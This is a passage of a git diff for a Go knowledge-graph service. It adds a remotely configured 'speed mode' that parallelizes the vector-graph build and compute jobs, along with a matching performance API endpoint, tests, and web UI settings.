perf.CPUWorkers = 1 + } + if perf.CPUWorkers > 256 { + perf.CPUWorkers = 256 + } + r.mu.Lock() + previous := r.remote.Performance + r.remote.Performance = perf + r.mu.Unlock() + if perf.SpeedMode && (!previous.SpeedMode || perf.CPUWorkers != previous.CPUWorkers) && r.cfg.ComputeEnabled { + r.triggerCompute(ctx) + } + return nil +} + func (r *Runner) recordConfigResult(err error) { r.diagMu.Lock() defer r.diagMu.Unlock() @@ -394,7 +450,7 @@ func (r *Runner) runDue(ctx context.Context) { if len(tasks) == 0 { return } - sem := make(chan struct{}, r.cfg.Concurrency) + sem := make(chan struct{}, r.effectiveConcurrency()) var wg sync.WaitGroup for _, task := range tasks { task := task @@ -456,11 +512,64 @@ func (r *Runner) runTask(ctx context.Context, task Task) { _ = r.sendHeartbeat(ctx, h) } -func (r *Runner) runComputeOnce(ctx context.Context) { - if r.runArticleQualityComputeOnce(ctx) { +func (r *Runner) effectiveConcurrency() int { + r.mu.RLock() + perf := r.remote.Performance + r.mu.RUnlock() + limit := r.cfg.Concurrency + if perf.SpeedMode && perf.CPUWorkers > limit { + limit = perf.CPUWorkers + } + if limit < 1 { + limit = 1 + } + if limit > 256 { + limit = 256 + } + return limit +} + +func (r *Runner) triggerCompute(ctx context.Context) { + if !r.computeBusy.CompareAndSwap(false, true) { return } - r.runVectorGraphComputeOnce(ctx) + go func() { + defer r.computeBusy.Store(false) + r.runComputeDispatch(ctx) + }() +} + +func (r *Runner) runComputeDispatch(ctx context.Context) { + r.mu.RLock() + speed := r.remote.Performance.SpeedMode + r.mu.RUnlock() + workers := 1 + if speed { + workers = r.effectiveConcurrency() + } + var wg sync.WaitGroup + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for { + if ctx.Err() != nil || !r.runComputeOnce(ctx) { + return + } + if !speed { + return + } + } + }() + } + wg.Wait() +} + +func (r *Runner) runComputeOnce(ctx context.Context) bool { + if r.runArticleQualityComputeOnce(ctx) { + return true + } + return r.runVectorGraphComputeOnce(ctx) } func (r *Runner) runArticleQualityComputeOnce(ctx context.Context) bool { @@ -468,13 +577,13 @@ func (r *Runner) runArticleQualityComputeOnce(ctx context.Context) bool { req, err := http.NewRequestWithContext(ctx, http.MethodGet, r.cfg.BrainURL+"/api/v1/agent/compute/article-quality/claim", nil) if err != nil { r.recordComputeResult(started, 0, err) - return true + return false } r.auth(req) resp, err := r.computeHTTP.Do(req) if err != nil { r.recordComputeResult(started, 0, err) - return true + return false } if resp.StatusCode == http.StatusNoContent { resp.Body.Close() @@ -485,14 +594,14 @@ func (r *Runner) runArticleQualityComputeOnce(ctx context.Context) bool { resp.Body.Close() err = fmt.Errorf("brain article-quality claim HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) r.recordComputeResult(started, 0, err) - return true + return false } var job ArticleQualityComputeRequest err = json.NewDecoder(io.LimitReader(resp.Body, 8<<20)).Decode(&job) resp.Body.Close() if err != nil { r.recordComputeResult(started, 0, err) - return true + return false } result := ExecuteArticleQualityJob(job) result.AgentID = r.cfg.AgentID @@ -529,35 +638,35 @@ func (r *Runner) runArticleQualityComputeOnce(ctx context.Context) bool { return true } -func (r *Runner) runVectorGraphComputeOnce(ctx context.Context) { +func (r *Runner) runVectorGraphComputeOnce(ctx context.Context) bool { started := time.Now().UTC() req, err := http.NewRequestWithContext(ctx, http.MethodGet, r.cfg.BrainURL+"/api/v1/agent/compute/claim", nil) if err != nil { r.recordComputeResult(started, 0, err) - return + return false } r.auth(req) resp, err := r.computeHTTP.Do(req) if err != nil { r.recordComputeResult(started, 0, err) - return + return false } if resp.StatusCode == http.StatusNoContent { resp.Body.Close() - return + return false } if resp.StatusCode/100 != 2 { body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) resp.Body.Close() err = fmt.Errorf("brain compute claim HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) r.recordComputeResult(started, 0, err) - return + return false } job, err := ReadVectorGraphJob(resp.Body, r.cfg.ComputeMaxBytes) resp.Body.Close() if err != nil { r.recordComputeResult(started, 0, err) - return + return false } result := ExecuteVectorGraphJob(job) result.AgentID = r.cfg.AgentID @@ -591,6 +700,7 @@ func (r *Runner) runVectorGraphComputeOnce(ctx context.Context) { slog.Info("source agent compute job completed", "job_id", job.Header.JobID, "duration_ms", result.DurationMS, "links", result.Primary.Stats.Links+result.Orphan.Stats.Links) } _ = r.sendHeartbeat(ctx, h) + return true } func (r *Runner) recordComputeResult(started time.Time, durationMS int64, err error) { @@ -882,6 +992,11 @@ func (r *Runner) sendHeartbeat(ctx context.Context, h Heartbeat) error { if h.Metadata == nil { h.Metadata = map[string]any{} } + r.mu.RLock() + perf := r.remote.Performance + r.mu.RUnlock() + h.Metadata["speed_mode"] = perf.SpeedMode + h.Metadata["speed_cpu_tasks"] = r.effectiveConcurrency() capabilities := []string{} if r.cfg.ComputeEnabled { h.Metadata["compute_kinds"] = []string{ComputeKindVectorGraph, ComputeKindArticleQuality} diff --git a/internal/sourceagent/sourceagent_test.go b/internal/sourceagent/sourceagent_test.go index 0702fc6..a9671bb 100644 --- a/internal/sourceagent/sourceagent_test.go +++ b/internal/sourceagent/sourceagent_test.go @@ -222,3 +222,17 @@ func TestProactiveSecurityInboxLifecycle(t *testing.T) { t.Fatalf("materialized document must remain searchable before SearXNG: %#v %v", results, err) } } + +func TestEffectiveConcurrencyUsesRemoteSpeedLimit(t *testing.T) { + r := &Runner{ + cfg: RunnerConfig{Concurrency: 3}, + remote: RemoteConfig{Performance: AgentPerformance{SpeedMode: true, CPUWorkers: 12}}, + } + if got := r.effectiveConcurrency(); got != 12 { + t.Fatalf("speed concurrency=%d want 12", got) + } + r.remote.Performance.SpeedMode = false + if got := r.effectiveConcurrency(); got != 3 { + t.Fatalf("normal concurrency=%d want 3", got) + } +} diff --git a/internal/sourceagent/types.go b/internal/sourceagent/types.go index f62e6c4..84cae8e 100644 --- a/internal/sourceagent/types.go +++ b/internal/sourceagent/types.go @@ -33,11 +33,17 @@ type Task struct { UpdatedAt time.Time `json:"updated_at,omitempty"` } +type AgentPerformance struct { + SpeedMode bool `json:"speed_mode"` + CPUWorkers int `json:"cpu_tasks"` +} + type RemoteConfig struct { - SchemaVersion int `json:"schema_version"` - Agent Agent `json:"agent"` - Tasks []Task `json:"tasks"` - IssuedAt time.Time `json:"issued_at"` + SchemaVersion int `json:"schema_version"` + Agent Agent `json:"agent"` + Tasks []Task `json:"tasks"` + Performance AgentPerformance `json:"performance"` + IssuedAt time.Time `json:"issued_at"` } type Document struct { diff --git a/internal/vectorgraph/vectorgraph.go b/internal/vectorgraph/vectorgraph.go index 47077e5..012cb32 100644 --- a/internal/vectorgraph/vectorgraph.go +++ b/internal/vectorgraph/vectorgraph.go @@ -5,6 +5,7 @@ import ( "math" "math/bits" "sort" + "sync" ) // Entry is the complete input required by the deterministic vector graph. @@ -17,6 +18,11 @@ type Entry struct { } type Config struct { + // Workers parallelizes the independent per-node candidate/exact-cosine phase. + // Zero keeps the conservative single-worker behavior. Results remain + // deterministic because workers write per-index slots and aggregation happens + // in sorted node order after all workers complete. + Workers int Neighbors int CandidateLimit int HashBits int @@ -98,6 +104,12 @@ type neighbor struct { } func normalizeConfig(cfg Config) Config { + if cfg.Workers < 1 { + cfg.Workers = 1 + } + if cfg.Workers > 256 { + cfg.Workers = 256 + } if cfg.Neighbors < 1 { cfg.Neighbors = 4 } @@ -210,65 +222,74 @@ func Build(entries []Entry, cfg Config) Result { nearest := make([][]neighbor, len(indexed)) sigmas := make([]float64, len(indexed)) - seen := make([]int, len(indexed)) - generation := 1 - for i := range indexed { - h := &coarseMaxHeap{} - heap.Init(h) - candidateCount := 0 - generation++ - for table := 0; table < cfg.HashTables; table++ { - sig := indexed[i].signatures[table] - for band := 0; band < bands; band++ { - value := (sig >> (band * cfg.BandBits)) & bandMask - result.Stats.BucketLookups++ - for _, j := range buckets[bucketKey(table, band, value)] { + perNodeStats := make([]Stats, len(indexed)) + parallelIndices(len(indexed), cfg.Workers, func(jobs <-chan int) { + seen := make([]int, len(indexed)) + generation := 1 + for i := range jobs { + h := &coarseMaxHeap{} + heap.Init(h) + candidateCount := 0 + generation++ + st := &perNodeStats[i] + for table := 0; table < cfg.HashTables; table++ { + sig := indexed[i].signatures[table] + for band := 0; band < bands; band++ { + value := (sig >> (band * cfg.BandBits)) & bandMask + st.BucketLookups++ + for _, j := range buckets[bucketKey(table, band, value)] { + if j == i || seen[j] == generation { + continue + } + seen[j] = generation + candidateCount++ + pushCoarse(h, coarseCandidate{index: j, distance: signatureDistance(indexed[i].signatures, indexed[j].signatures)}, cfg.CandidateLimit) + } + } + } + // Sparse/outlier signatures should still get a bounded chance to link. + // The fallback is deterministic and only scans hashes, never embeddings. + if h.Len() < cfg.Neighbors { + for j := range indexed { if j == i || seen[j] == generation { continue } - seen[j] = generation - candidateCount++ pushCoarse(h, coarseCandidate{index: j, distance: signatureDistance(indexed[i].signatures, indexed[j].signatures)}, cfg.CandidateLimit) } } - } - // Sparse/outlier signatures should still get a bounded chance to link. - // The fallback is deterministic and only scans hashes, never embeddings. - if h.Len() < cfg.Neighbors { - for j := range indexed { - if j == i || seen[j] == generation { - continue + st.CandidatePairs = candidateCount + coarse := make([]coarseCandidate, h.Len()) + for k := len(coarse) - 1; k >= 0; k-- { + coarse[k] = heap.Pop(h).(coarseCandidate) + } + exact := make([]neighbor, 0, len(coarse)) + for _, candidate := range coarse { + sim := cosine(indexed[i].Vector, indexed[candidate.index].Vector) + st.ExactComparisons++ + exact = append(exact, neighbor{index: candidate.index, similarity: sim}) + } + sort.Slice(exact, func(a, b int) bool { + if exact[a].similarity == exact[b].similarity { + return indexed[exact[a].index].ID < indexed[exact[b].index].ID } - pushCoarse(h, coarseCandidate{index: j, distance: signatureDistance(indexed[i].signatures, indexed[j].signatures)}, cfg.CandidateLimit) + return exact[a].similarity > exact[b].similarity + }) + if len(exact) > cfg.Neighbors { + exact = exact[:cfg.Neighbors] + } + nearest[i] = exact + if len(exact) > 0 { + kth := exact[len(exact)-1].similarity + sigmas[i] = math.Max(1e-4, 1-kth) + } else { + sigmas[i] = 1 } } - result.Stats.CandidatePairs += candidateCount - coarse := make([]coarseCandidate, h.Len()) - for k := len(coarse) - 1; k >= 0; k-- { - coarse[k] = heap.Pop(h).(coarseCandidate) - } - exact := make([]neighbor, 0, len(coarse)) - for _, candidate := range coarse { - sim := cosine(indexed[i].Vector, indexed[candidate.index].Vector) - result.Stats.ExactComparisons++ - exact = append(exact, neighbor{index: candidate.index, similarity: sim}) - } - sort.Slice(exact, func(a, b int) bool { - if exact[a].similarity == exact[b].similarity { - return indexed[exact[a].index].ID < indexed[exact[b].index].ID - } - return exact[a].similarity > exact[b].similarity - }) - if len(exact) > cfg.Neighbors { - exact = exact[:cfg.Neighbors] - } - nearest[i] = exact - if len(exact) > 0 { - kth := exact[len(exact)-1].similarity - sigmas[i] = math.Max(1e-4, 1-kth) - } else { - sigmas[i] = 1 - } + }) + for i := range perNodeStats { + result.Stats.BucketLookups += perNodeStats[i].BucketLookups + result.Stats.CandidatePairs += perNodeStats[i].CandidatePairs + result.Stats.ExactComparisons += perNodeStats[i].ExactComparisons } rankMaps := make([]map[int]int, len(indexed)) @@ -404,88 +425,104 @@ func BuildFocused(entries []Entry, focusIDs map[string]bool, cfg Config) Result } } - seen := make([]int, len(indexed)) - generation := 1 - pairs := map[[2]int]Link{} - for i := range indexed { - if !focus[i] { - continue - } - h := &coarseMaxHeap{} - heap.Init(h) - candidateCount := 0 - generation++ - for table := 0; table < cfg.HashTables; table++ { - sig := indexed[i].signatures[table] - for band := 0; band < bands; band++ { - value := (sig >> (band * cfg.BandBits)) & bandMask - result.Stats.BucketLookups++ - for _, j := range buckets[bucketKey(table, band, value)] { + perNodeStats := make([]Stats, len(indexed)) + perNodeLinks := make([][]Link, len(indexed)) + parallelIndices(len(indexed), cfg.Workers, func(jobs <-chan int) { + seen := make([]int, len(indexed)) + generation := 1 + for i := range jobs { + if !focus[i] { + continue + } + h := &coarseMaxHeap{} + heap.Init(h) + candidateCount := 0 + generation++ + st := &perNodeStats[i] + for table := 0; table < cfg.HashTables; table++ { + sig := indexed[i].signatures[table] + for band := 0; band < bands; band++ { + value := (sig >> (band * cfg.BandBits)) & bandMask + st.BucketLookups++ + for _, j := range buckets[bucketKey(table, band, value)] { + if j == i || seen[j] == generation { + continue + } + seen[j] = generation + candidateCount++ + pushCoarse(h, coarseCandidate{index: j, distance: signatureDistance(indexed[i].signatures, indexed[j].signatures)}, cfg.CandidateLimit) + } + } + } + if h.Len() < cfg.Neighbors { + for j := range indexed { if j == i || seen[j] == generation { continue } - seen[j] = generation - candidateCount++ pushCoarse(h, coarseCandidate{index: j, distance: signatureDistance(indexed[i].signatures, indexed[j].signatures)}, cfg.CandidateLimit) } } - } - if h.Len() < cfg.Neighbors { - for j := range indexed { - if j == i || seen[j] == generation { + st.CandidatePairs = candidateCount + coarse := make([]coarseCandidate, h.Len()) + for k := len(coarse) - 1; k >= 0; k-- { + coarse[k] = heap.Pop(h).(coarseCandidate) + } + exact := make([]neighbor, 0, len(coarse)) + for _, candidate := range coarse { + sim := cosine(indexed[i].Vector, indexed[candidate.index].Vector) + st.ExactComparisons++ + exact = append(exact, neighbor{index: candidate.index, similarity: sim}) + } + sort.Slice(exact, func(a, b int) bool { + if exact[a].similarity == exact[b].similarity { + return indexed[exact[a].index].ID < indexed[exact[b].index].ID + } + return exact[a].similarity > exact[b].similarity + }) + if len(exact) > cfg.Neighbors { + exact = exact[:cfg.Neighbors] + } + if len(exact) == 0 { + continue + } + sigma := math.Max(1e-4, 1-exact[len(exact)-1].similarity) + links := make([]Link, 0, len(exact)) + for rank, n := range exact { + if n.similarity < cfg.MinSimilarity { continue } - pushCoarse(h, coarseCandidate{index: j, distance: signatureDistance(indexed[i].signatures, indexed[j].signatures)}, cfg.CandidateLimit) + distance := math.Max(1e-6, 1-n.similarity) + affinity := math.Exp(-(distance * distance) / (sigma * sigma)) + if affinity < cfg.MinAffinity { + continue + } + pair := [2]int{i, n.index} + if pair[0] > pair[1] { + pair[0], pair[1] = pair[1], pair[0] + } + links = append(links, Link{ + Source: indexed[pair[0]].ID, Target: indexed[pair[1]].ID, + Similarity: n.similarity, Affinity: affinity, + Confidence: clamp01(.65*n.similarity + .35*affinity), + SourceRank: rank + 1, TargetRank: 0, Reciprocal: false, + }) } + perNodeLinks[i] = links } - result.Stats.CandidatePairs += candidateCount - coarse := make([]coarseCandidate, h.Len()) - for k := len(coarse) - 1; k >= 0; k-- { - coarse[k] = heap.Pop(h).(coarseCandidate) - } - exact := make([]neighbor, 0, len(coarse)) - for _, candidate := range coarse { - sim := cosine(indexed[i].Vector, indexed[candidate.index].Vector) - result.Stats.ExactComparisons++ - exact = append(exact, neighbor{index: candidate.index, similarity: sim}) - } - sort.Slice(exact, func(a, b int) bool { - if exact[a].similarity == exact[b].similarity { - return indexed[exact[a].index].ID < indexed[exact[b].index].ID - } - return exact[a].similarity > exact[b].similarity - }) - if len(exact) > cfg.Neighbors { - exact = exact[:cfg.Neighbors] - } - if len(exact) == 0 { - continue - } - sigma := math.Max(1e-4, 1-exact[len(exact)-1].similarity) - for rank, n := range exact { - if n.similarity < cfg.MinSimilarity { - continue - } - distance := math.Max(1e-6, 1-n.similarity) - affinity := math.Exp(-(distance * distance) / (sigma * sigma)) - if affinity < cfg.MinAffinity { - continue - } - pair := [2]int{i, n.index} - if pair[0] > pair[1] { - pair[0], pair[1] = pair[1], pair[0] - } - link := Link{ - Source: indexed[pair[0]].ID, Target: indexed[pair[1]].ID, - Similarity: n.similarity, Affinity: affinity, - Confidence: clamp01(.65*n.similarity + .35*affinity), - SourceRank: rank + 1, TargetRank: 0, Reciprocal: false, - } + }) + pairs := map[[2]string]Link{} + for i := range perNodeStats { + result.Stats.BucketLookups += perNodeStats[i].BucketLookups + result.Stats.CandidatePairs += perNodeStats[i].CandidatePairs + result.Stats.ExactComparisons += perNodeStats[i].ExactComparisons + for _, link := range perNodeLinks[i] { + pair := [2]string{link.Source, link.Target} if old, exists := pairs[pair]; !exists || link.Confidence > old.Confidence { pairs[pair] = link } } } + result.Links = make([]Link, 0, len(pairs)) for _, link := range pairs { result.Links = append(result.Links, link) @@ -500,6 +537,32 @@ func BuildFocused(entries []Entry, focusIDs map[string]bool, cfg Config) Result return result } +func parallelIndices(count, workers int, worker func(<-chan int)) { + if count <= 0 { + return + } + if workers < 1 { + workers = 1 + } + if workers > count { + workers = count + } + jobs := make(chan int, workers*2) + var wg sync.WaitGroup + wg.Add(workers) + for i := 0; i < workers; i++ { + go func() { + defer wg.Done() + worker(jobs) + }() + } + for i := 0; i < count; i++ { + jobs <- i + } + close(jobs) + wg.Wait() +} + func bucketKey(table, band int, value uint64) uint64 { return uint64(table&0xff)<<56 | uint64(band&0xff)<<48 | (value & 0x0000ffffffffffff) } diff --git a/internal/vectorgraph/vectorgraph_test.go b/internal/vectorgraph/vectorgraph_test.go index 9f24663..530faed 100644 --- a/internal/vectorgraph/vectorgraph_test.go +++ b/internal/vectorgraph/vectorgraph_test.go @@ -117,3 +117,29 @@ func TestSpreadDenseLayoutSeparatesDenseCellDeterministically(t *testing.T) { t.Fatalf("dense cell was not meaningfully spread, unique positions=%d", len(unique)) } } + +func TestParallelWorkersMatchSingleWorker(t *testing.T) { + entries := make([]Entry, 96) + for i := range entries { + entries[i] = Entry{ID: fmt.Sprintf("n-%03d", i), Vector: []float32{ + float32((i%11)+1) / 11, + float32((i%7)+1) / 7, + float32((i%5)+1) / 5, + float32((i%3)+1) / 3, + }} + } + base := Config{Workers: 1, Neighbors: 4, CandidateLimit: 48, HashBits: 16, HashTables: 2, BandBits: 8, MinSimilarity: .65, MinAffinity: .1, Layout: true} + parallel := base + parallel.Workers = 8 + one := Build(entries, base) + many := Build(entries, parallel) + if !reflect.DeepEqual(one, many) { + t.Fatalf("parallel primary build differs from single-worker build") + } + focus := map[string]bool{"n-003": true, "n-017": true, "n-044": true, "n-081": true} + oneFocused := BuildFocused(entries, focus, base) + manyFocused := BuildFocused(entries, focus, parallel) + if !reflect.DeepEqual(oneFocused, manyFocused) { + t.Fatalf("parallel focused build differs from single-worker build") + } +} diff --git a/internal/web/server.go b/internal/web/server.go index 4243e30..e18c8a9 100644 --- a/internal/web/server.go +++ b/internal/web/server.go @@ -80,6 +80,7 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("POST /api/controller/jobs", s.handleCreateControllerJob) mux.HandleFunc("POST /api/controller/jobs/{id}/cancel", s.handleCancelControllerJob) mux.HandleFunc("GET /api/v1/agent/config", s.handleAgentConfig) + mux.HandleFunc("GET /api/v1/agent/performance", s.handleAgentPerformance) mux.HandleFunc("POST /api/v1/agent/heartbeat", s.handleAgentHeartbeat) mux.HandleFunc("POST /api/v1/agent/ingest", s.handleAgentIngest) mux.HandleFunc("GET /api/v1/agent/compute/claim", s.handleAgentComputeClaim) diff --git a/internal/web/source_agents.go b/internal/web/source_agents.go index 1aa9a3a..a617752 100644 --- a/internal/web/source_agents.go +++ b/internal/web/source_agents.go @@ -269,12 +269,30 @@ func (s *Server) handleAgentConfig(w http.ResponseWriter, r *http.Request) { writeJSON(w, 500, map[string]string{"error": err.Error()}) return } + if s.Engine != nil { + settings := s.Engine.RuntimeSettings() + cfg.Performance = sourceagent.AgentPerformance{SpeedMode: settings.SpeedMode, CPUWorkers: settings.SpeedCPUWorkers} + } if err := s.SourceAgents.TouchAgent(ctx, a.ID); err != nil { writeJSON(w, 500, map[string]string{"error": err.Error()}) return } writeJSON(w, 200, cfg) } + +func (s *Server) handleAgentPerformance(w http.ResponseWriter, r *http.Request) { + if _, err := s.authenticateSourceAgent(r); err != nil { + writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "unauthorized"}) + return + } + if s.Engine == nil { + writeJSON(w, http.StatusServiceUnavailable, map[string]string{"error": "brain runtime unavailable"}) + return + } + settings := s.Engine.RuntimeSettings() + writeJSON(w, http.StatusOK, sourceagent.AgentPerformance{SpeedMode: settings.SpeedMode, CPUWorkers: settings.SpeedCPUWorkers}) +} + func (s *Server) handleAgentHeartbeat(w http.ResponseWriter, r *http.Request) { a, err := s.authenticateSourceAgent(r) if err != nil { @@ -329,6 +347,9 @@ func (s *Server) handleAgentIngest(w http.ResponseWriter, r *http.Request) { writeJSON(w, 500, map[string]string{"error": err.Error()}) return } + if result.Accepted > 0 && s.Engine != nil { + s.Engine.WakeSourceInbox() + } if err := s.SourceAgents.Heartbeat(ctx, a.ID, sourceagent.Heartbeat{AgentID: a.ID, Status: "ingest", Documents: result.Accepted}); err != nil { // The ingest transaction already committed. Do not force a duplicate client // retry only because the convenience heartbeat failed; surface it in logs. diff --git a/internal/web/static/app.js b/internal/web/static/app.js index 01537f7..fd55ede 100644 --- a/internal/web/static/app.js +++ b/internal/web/static/app.js @@ -51,7 +51,7 @@ lodOpenUntil: new Map(), lodHotUntil: new Map(), lodDirty: true, lodLastBuild: 0, lodNextExpiry: 0, lodZoomBand: 2, renderNodes: [], renderEdges: [], renderIdleEdges: [], renderNodeById: new Map(), renderEdgeById: new Map(), visibleForNode: new Map(), edgeRenderMap: new Map(), renderActive: new Map(), renderEdgeActive: new Map(), renderStats: {nodes: 0, edges: 0, hiddenNodes: 0, hiddenEdges: 0}, - fullSnapshot: null, fullNodeById: new Map(), runtimeSettings: {source_filter_version: 1, learning_enabled: true, thinking_enabled: true, learning_sources: [], display_sources: [], thinking_sources: [], glpi_kb_source: '', view_mode: 'neural', max_display_nodes: 0, low_power_mode: false, processing_mode: 'precise', autonomous_research_enabled: false, autonomous_research_idle_only: true, autonomous_research_min_priority: 0.65, autonomous_research_max_tasks_per_day: 12, autonomous_research_tasks_per_cycle: 1}, + fullSnapshot: null, fullNodeById: new Map(), runtimeSettings: {source_filter_version: 1, learning_enabled: true, thinking_enabled: true, learning_sources: [], display_sources: [], thinking_sources: [], glpi_kb_source: '', view_mode: 'neural', max_display_nodes: 0, low_power_mode: false, speed_mode: false, speed_cpu_tasks: 8, speed_gpu_tasks: 4, processing_mode: 'precise', autonomous_research_enabled: false, autonomous_research_idle_only: true, autonomous_research_min_priority: 0.65, autonomous_research_max_tasks_per_day: 12, autonomous_research_tasks_per_cycle: 1}, availableSources: [], viewMode: 'neural', honeycombNodes: [], honeycombSpacing: 0, honeySlotByID: new Map(), honeyPointPool: [], honeyFreeSlots: [], constellationNodes: [], constellationLinks: [], settingsOpen: false, settingsDraft: null, forcedDisplayUntil: new Map(), nextDisplayLimitExpiry: 0, graphVersion: null, displaySignature: '', displayLimitStats: {limit: 0, eligible: 0, shown: 0}, @@ -328,6 +328,10 @@ if ($('settingsViewHoneycomb')) $('settingsViewHoneycomb').classList.toggle('active', panelSettings.view_mode === 'honeycomb'); if ($('settingsViewConstellation')) $('settingsViewConstellation').classList.toggle('active', panelSettings.view_mode === 'constellation'); if ($('settingsLowPower')) $('settingsLowPower').checked = Boolean(panelSettings.low_power_mode); + if ($('settingsSpeedMode')) $('settingsSpeedMode').checked = Boolean(panelSettings.speed_mode); + if ($('settingsSpeedCPU')) $('settingsSpeedCPU').value = String(Math.max(1, Math.min(256, Number(panelSettings.speed_cpu_tasks || 1)))); + if ($('settingsSpeedGPU')) $('settingsSpeedGPU').value = String(Math.max(1, Math.min(64, Number(panelSettings.speed_gpu_tasks || 1)))); + if ($('toggleSpeed')) $('toggleSpeed').classList.toggle('active', Boolean(panelSettings.speed_mode)); if ($('settingsProcessingPrecise')) $('settingsProcessingPrecise').classList.toggle('active', panelSettings.processing_mode !== 'clustered'); if ($('settingsProcessingClustered')) $('settingsProcessingClustered').classList.toggle('active', panelSettings.processing_mode === 'clustered'); if ($('processingModeHint')) $('processingModeHint').textContent = panelSettings.processing_mode === 'clustered' ? 'Cluster/Fast: Semantic Hashing reduziert den Vollscan. Verwandte Relationen werden gebündelt; Artikel arbeiten intern/Gemma-first und nutzen SearXNG nur bei Aktualitäts- oder Evidenzbedarf. Webmaterial wird erst nach Reviewer-Grounding in den Graphen übernommen.' : 'Präzise: vollständige Cosine-Suche über jeden Anchor und den gesamten gefilterten Wissensraum.'; @@ -425,7 +429,10 @@ thinking_sources: normalizedSourceValues(settings.thinking_sources), view_mode: ['neural', 'honeycomb', 'constellation'].includes(settings.view_mode) ? settings.view_mode : 'neural', max_display_nodes: Math.max(0, Math.min(500000, Math.trunc(Number(settings.max_display_nodes) || 0))), - low_power_mode: Boolean(settings.low_power_mode), + low_power_mode: Boolean(settings.low_power_mode) && !Boolean(settings.speed_mode), + speed_mode: Boolean(settings.speed_mode), + speed_cpu_tasks: Math.max(1, Math.min(256, Math.trunc(Number(settings.speed_cpu_tasks) || 1))), + speed_gpu_tasks: Math.max(1, Math.min(64, Math.trunc(Number(settings.speed_gpu_tasks) || 1))), processing_mode: settings.processing_mode === 'clustered' ? 'clustered' : 'precise', autonomous_research_enabled: Boolean(settings.autonomous_research_enabled), autonomous_research_idle_only: settings.autonomous_research_idle_only !== false, @@ -2818,8 +2825,10 @@ const important = new Set(['scan.started', 'graph.updated', 'embedding.batch', 'query.started', 'query.completed', 'think.queued', 'think.cycle.started', 'think.cycle.completed', 'think.cycle.failed', 'think.no_candidate', 'think.started', 'think.relation.created', 'think.rejected', 'think.failed', 'think.paused', 'research.started', 'research.results', 'research.ingested', 'research.failed', 'research.test.started', 'research.test.results', 'research.test.failed', 'article.plan.started', 'article.plan.skipped', 'article.sources.autonomous_seeds', 'article.research.round.started', 'article.research.round.completed', 'article.research.reused', 'article.research.strategy', 'article.research.author_requested', 'article.research.material.stored', 'article.research.grounded.materialized', 'article.cluster.deferred', 'article.cluster.started', 'article.research.started', 'article.research.results', 'article.research.candidates', 'article.research.fetch.started', 'article.research.fetch.completed', 'article.research.fetch.failed', 'article.research.evidence.accepted', 'article.research.evidence.rejected', 'article.research.ingested', 'article.research.learned', 'article.research.completed', 'article.research.failed', 'article.draft.started', 'article.draft.rejected', 'article.created', 'article.cpu_quality.completed', 'article.cpu_quality.revision', + 'article.type.reconsidered', 'article.type.reconsideration.failed', 'article.review.completed', - 'vector.graph.rebuilt', 'article.duplicate', 'article.skipped', 'article.failed', 'article.fingerprint.failed', 'vector.graph.agent.waiting', 'vector.graph.agent.queued', 'vector.graph.agent.completed', 'agent.run', 'glpi.kb.synced', 'glpi.kb.failed', 'persistence.flushed', 'persistence.failed', 'autonomous.research.scan.started', 'autonomous.research.scan.completed', 'autonomous.research.scan.failed', 'autonomous.research.task.queued', 'autonomous.research.task.started', 'autonomous.research.task.completed', 'autonomous.research.article.focused', 'autonomous.research.task.failed', 'autonomous.research.task.cancelled']); + 'think.research.query.rebuilt', 'think.research.insufficient', + 'vector.graph.rebuilt', 'vector.graph.maintenance.started', 'vector.graph.maintenance.completed', 'vector.graph.maintenance.failed', 'article.duplicate', 'article.skipped', 'article.failed', 'article.fingerprint.failed', 'vector.graph.agent.waiting', 'vector.graph.agent.queued', 'vector.graph.agent.completed', 'agent.run', 'glpi.kb.synced', 'glpi.kb.failed', 'persistence.flushed', 'persistence.failed', 'autonomous.research.scan.started', 'autonomous.research.scan.completed', 'autonomous.research.scan.failed', 'autonomous.research.task.queued', 'autonomous.research.task.merged', 'autonomous.research.queue.consolidated', 'autonomous.research.task.started', 'autonomous.research.task.completed', 'autonomous.research.article.focused', 'autonomous.research.task.failed', 'autonomous.research.task.cancelled']); if (!important.has(evt.type) && !(evt.source === 'agent' || evt.source === 'knowledgebase' || evt.source === 'external' || evt.query)) return false; const fingerprint = `${evt.type}|${evt.message || ''}|${evt.query || evt.metadata?.research_query || ''}|${evt.source || ''}|${evt.metadata?.research_id || ''}|${evt.metadata?.result_url || ''}|${evt.metadata?.round || evt.metadata?.research_round || ''}`; const last = state.lastLogFingerprint.get(fingerprint) || 0; @@ -3097,7 +3106,10 @@ $('settingsThinking').addEventListener('change', e => { if (state.settingsDraft) state.settingsDraft.thinking_enabled = e.currentTarget.checked; }); $('settingsProcessingPrecise')?.addEventListener('click', () => { if (state.settingsDraft) { state.settingsDraft.processing_mode = 'precise'; syncRuntimeControls(); } }); $('settingsProcessingClustered')?.addEventListener('click', () => { if (state.settingsDraft) { state.settingsDraft.processing_mode = 'clustered'; syncRuntimeControls(); } }); - $('settingsLowPower').addEventListener('change', e => { if (state.settingsDraft) state.settingsDraft.low_power_mode = e.currentTarget.checked; }); + $('settingsLowPower').addEventListener('change', e => { if (state.settingsDraft) { state.settingsDraft.low_power_mode = e.currentTarget.checked; if (e.currentTarget.checked) state.settingsDraft.speed_mode = false; syncRuntimeControls(); } }); + $('settingsSpeedMode')?.addEventListener('change', e => { if (state.settingsDraft) { state.settingsDraft.speed_mode = e.currentTarget.checked; if (e.currentTarget.checked) state.settingsDraft.low_power_mode = false; syncRuntimeControls(); } }); + $('settingsSpeedCPU')?.addEventListener('input', e => { if (state.settingsDraft) state.settingsDraft.speed_cpu_tasks = Math.max(1, Math.min(256, Math.trunc(Number(e.currentTarget.value) || 1))); }); + $('settingsSpeedGPU')?.addEventListener('input', e => { if (state.settingsDraft) state.settingsDraft.speed_gpu_tasks = Math.max(1, Math.min(64, Math.trunc(Number(e.currentTarget.value) || 1))); }); $('settingsAutonomousResearch')?.addEventListener('change', e => { if (state.settingsDraft) state.settingsDraft.autonomous_research_enabled = e.currentTarget.checked; }); $('settingsAutonomousIdleOnly')?.addEventListener('change', e => { if (state.settingsDraft) state.settingsDraft.autonomous_research_idle_only = e.currentTarget.checked; }); $('settingsAutonomousMinPriority')?.addEventListener('input', e => { if (state.settingsDraft) state.settingsDraft.autonomous_research_min_priority = Math.max(0, Math.min(1, Number(e.currentTarget.value) 